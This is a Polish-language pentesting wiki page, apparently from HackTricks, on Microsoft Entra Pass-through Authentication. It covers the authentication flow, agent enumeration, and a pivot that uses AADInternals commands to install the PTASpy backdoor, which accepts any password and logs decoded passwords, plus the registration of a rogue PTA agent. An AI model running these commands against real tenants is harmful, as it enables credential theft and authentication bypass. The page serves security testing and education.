Az - PTA - Pass-through Authentication

{{#include ../../../../banners/hacktricks-training.md}}

Podstawowe informacje

Z dokumentacji: Microsoft Entra pass-through authentication pozwala użytkownikom na logowanie się zarówno do aplikacji lokalnych, jak i opartych na chmurze, używając tych samych haseł. Ta funkcja zapewnia lepsze doświadczenie użytkowników - jedno mniej hasło do zapamiętania, a także zmniejsza koszty pomocy IT, ponieważ użytkownicy rzadziej zapominają, jak się zalogować. Gdy użytkownicy logują się za pomocą Microsoft Entra ID, ta funkcja weryfikuje hasła użytkowników bezpośrednio w lokalnym Active Directory.

W PTA tożsamościsynchronizowane, ale hasła nie są jak w PHS.

Uwierzytelnienie jest weryfikowane w lokalnym AD, a komunikacja z chmurą odbywa się za pomocą agenta uwierzytelniającego działającego na lokalnym serwerze (nie musi być na lokalnym DC).

Przepływ uwierzytelnienia

  1. Aby zalogować się, użytkownik jest przekierowywany do Azure AD, gdzie wysyła nazwę użytkownika i hasło
  2. Dane uwierzytelniająceszyfrowane i umieszczane w kolejce w Azure AD
  3. Lokalny agent uwierzytelniający zbiera dane uwierzytelniające z kolejki i je odszyfrowuje. Ten agent nazywa się “Pass-through authentication agent” lub agent PTA.
  4. Agent weryfikuje dane uwierzytelniające w lokalnym AD i wysyła odpowiedź z powrotem do Azure AD, która, jeśli odpowiedź jest pozytywna, kończy logowanie użytkownika.

Warning

Jeśli atakujący skomprymuje PTA, może zobaczyć wszystkie dane uwierzytelniające z kolejki (w czystym tekście).
Może również zweryfikować dowolne dane uwierzytelniające w AzureAD (podobny atak do klucza szkieletowego).

Enumeracja

Z Entra ID:

az rest --url 'https://graph.microsoft.com/beta/onPremisesPublishingProfiles/authentication/agentGroups?$expand=agents'
# Example response:
{
"@odata.context": "https://graph.microsoft.com/beta/$metadata#onPremisesPublishingProfiles('authentication')/agentGroups(agents())",
"value": [
{
"agents": [
{
"externalIp": "20.121.45.57",
"id": "4a000eb4-9a02-49e4-b67f-f9b101f8f14c",
"machineName": "ConnectSync.hacktricks-con.azure",
"status": "active",
"supportedPublishingTypes": [
"authentication"
]
}
],
"displayName": "Default group for Pass-through Authentication",
"id": "d372d40f-3f81-4824-8b9e-6028182db58e",
"isDefault": true,
"publishingType": "authentication"
}
]
}

Sprawdź, czy agent działa na serwerze lokalnym:

Get-Service -Name "AzureADConnectAuthenticationAgent"

Pivoting

Jeśli masz admin dostęp do serwera Azure AD Connect z działającym agentem PTA, możesz użyć modułu AADInternals do wstawienia tylnej furtki, która zweryfikuje WSZYSTKIE hasła wprowadzone (więc wszystkie hasła będą ważne do uwierzytelnienia):

Install-Module AADInternals -RequiredVersion 0.9.3
Import-Module AADInternals
Install-AADIntPTASpy # Install the backdoor, it'll save all the passwords in a file
Get-AADIntPTASpyLog -DecodePasswords # Read the file or use this to read the passwords in clear-text

Remove-AADIntPTASpy # Remove the backdoor

Note

Jeśli instalacja nie powiedzie się, prawdopodobnie jest to spowodowane brakiem Microsoft Visual C++ 2015 Redistributables.

Ten backdoor będzie:

  • Tworzyć ukrytą folder C:\PTASpy
  • Kopiować PTASpy.dll do C:\PTASpy
  • Wstrzykiwać PTASpy.dll do procesu AzureADConnectAuthenticationAgentService

Note

Gdy usługa AzureADConnectAuthenticationAgent zostanie ponownie uruchomiona, PTASpy jest „odładowany” i musi być ponownie zainstalowany.

Caution

Po uzyskaniu uprawnień GA w chmurze, możliwe jest zarejestrowanie nowego agenta PTA i można powtórzyć poprzednie kroki, aby uwierzytelnić się przy użyciu dowolnego hasła oraz uzyskać hasła w postaci czystego tekstu.

Seamless SSO

Możliwe jest użycie Seamless SSO z PTA, które jest podatne na inne nadużycia. Sprawdź to w:

Az - Seamless SSO

References

{{#include ../../../../banners/hacktricks-training.md}}